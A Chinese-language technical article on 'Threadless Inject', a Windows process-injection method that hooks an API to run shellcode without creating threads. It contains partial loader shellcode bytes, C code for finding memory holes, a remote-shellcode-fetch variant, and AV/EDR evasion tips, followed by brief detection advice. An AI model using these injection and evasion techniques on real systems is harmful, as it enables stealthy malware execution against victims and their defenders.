新型远程注入手法-Threadless inject(无线程注入)
字数 1101 2025-08-03 16:43:57
Threadless Inject(无线程注入)技术详解
基本原理及执行流程
Threadless Inject是一种新型的远程注入手法,最初在B-Sides Cymru 2023大会上发表。其核心原理是通过hook目标函数,将其跳转到DLL内存空隙中的第一段shellcode(具有二次重定向功能),然后再跳转到第二段shellcode执行。
执行流程:
- 注入进程调用被hook的API函数,重定向到第一段shellcode
- 执行第一段shellcode,负责跳转到第二段shellcode
- 跳转到第二段shellcode并执行
- 返回第一段shellcode,跳转回原本API函数位置继续执行
技术优势
这种注入方式的主要绕过思路是通过不同于传统内存执行的方式,绕过了AV/EDR的检测机制:
- 不创建新线程
- 利用合法DLL的内存间隙
- 通过API hook实现重定向
第一份基础代码实现
核心组件
- Shellcode Loader:
unsigned char shellcode_loader[] = {
0x58, // pop rax
0x48, 0x83, 0xE8, 0x05, // sub rax, 0x05
0x50, // push rax
// 保存寄存器状态
0x51, 0x52, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, 0x53,
0x48, 0xB9, // mov rcx, <address>
// 第二段shellcode地址占位符
0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11,
0x48, 0x89, 0x08, // mov [rax], rcx
0x48, 0x83, 0xEC, 0x40, // sub rsp, 0x40
0xE8, 0x11, 0x00, 0x00, 0x00, // call <relative offset>
0x48, 0x83, 0xC4, 0x40, // add rsp, 0x40
// 恢复寄存器状态
0x41, 0x5B, 0x41, 0x5A, 0x41, 0x59, 0x41, 0x58, 0x5A, 0x59, 0x58,
0xFF, 0xE0, // jmp rax
0x90 // nop
};
- 功能Shellcode(示例为计算器):
unsigned char shellcode[] = {
// 计算器shellcode
0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE4, 0xF0,
// ...省略其余字节...
0x5F, 0x5E, 0x5B, 0xC3
};
关键函数
- 寻找内存间隙:
int64_t FindMemoryHole(IN HANDLE hProcess, IN void** exportedFunctionAddress, IN int size) {
UINT_PTR remoteAddress;
BOOL foundMemory = FALSE;
uint64_t exportAddress = (uint64_t)exportedFunctionAddress;
// 在一定偏移量范围内寻找内存间隙
for (remoteAddress = (exportAddress & 0xFFFFFFFFFFF70000) - 0x70000000;
remoteAddress < exportAddress + 0x70000000;
remoteAddress += 0x10000) {
// 尝试申请RWX内存
LPVOID lpAddr = VirtualAllocEx(hProcess, (LPVOID)remoteAddress,
size, MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (lpAddr != NULL) {
foundMemory = TRUE;
break;
}
}
return foundMemory ? remoteAddress : 0;
}
- 生成Hook:
void GenerateHook(int64_t originalInstruction) {
// 修改shellcode_loader中的跳转地址
*(uint64_t*)(shellcode_loader + 0x12) = originalInstruction;
}
- 主函数流程:
int main(int argc, char** argv) {
// 1. 参数处理
// 2. 加载目标DLL
// 3. 获取目标函数地址
// 4. 打开目标进程
// 5. 寻找内存间隙
// 6. 修改跳转地址
// 7. 修改内存保护为RWX
// 8. 注入call指令
// 9. 合并两段shellcode
// 10. 写入目标进程
// 11. 修改内存保护为RX
}
第二份高级实现
第二份实现与基础版思路相同,但有重要改进:
- 第二段shellcode放在远程服务器动态获取
- 内存间隙放在另一个DLL的文本段上(如chakra.dll)
- 注入后卸载DLL减少IOC
核心改进
- 远程获取shellcode:
DATA GetData(wchar_t* whost, DWORD port, wchar_t* wresource) {
// 使用WinHTTP从远程服务器获取shellcode
// ...
}
- 从DLL文本段找RX空隙:
LPVOID GetRXhole(HANDLE hProcess, wchar_t* wInjectedLoadedModuleName, size_t shellcodeLen) {
// 1. 检查模块是否已加载
// 2. 若未加载,则注入模块
// 3. 获取模块.text节信息
// 4. 生成随机偏移
// 5. 返回RX空隙地址
}
- 注入与卸载:
BOOL InjectThatMTF(HANDLE hProc, LPVOID RX_hole_addr, DATA shellcode,
wchar_t* wModuleName, wchar_t* wAPIName) {
// 注入逻辑
}
BOOL UnloadModule(HANDLE hProcess, wchar_t* wInjectedLoadedModule) {
// 卸载模块逻辑
}
优化与绕过思路
-
Shellcode混淆:
- 第一段shellcode功能简单易检测,可加入混淆指令
- 使用编码/加密技术隐藏真实功能
-
Hook方式改进:
- 替换简单的指令修改为更隐蔽的方法
- 考虑使用硬件断点等高级hook技术
-
内存权限处理:
- 避免直接申请RWX内存(先RW后RX)
- 使用合法的内存操作序列
-
调用链隐蔽:
- 使用冷门API函数构建调用链
- 避免使用监控严格的API
-
BOF实现:
- 可转换为BOF(Beacon Object File)形式
- 保持核心思路不变
防御检测建议
-
检测点:
- 异常的API hook行为
- 文本段内存修改
- RWX内存区域
- 异常的模块加载/卸载模式
-
防御措施:
- 加强API调用监控
- 检测关键函数的内存属性变化
- 监控模块加载行为
- 实施代码完整性检查
参考资源
通过这种无线程注入技术,攻击者可以实现高度隐蔽的代码执行,同时规避传统注入检测机制。防御方需要从内存行为、API调用模式等多维度构建检测策略。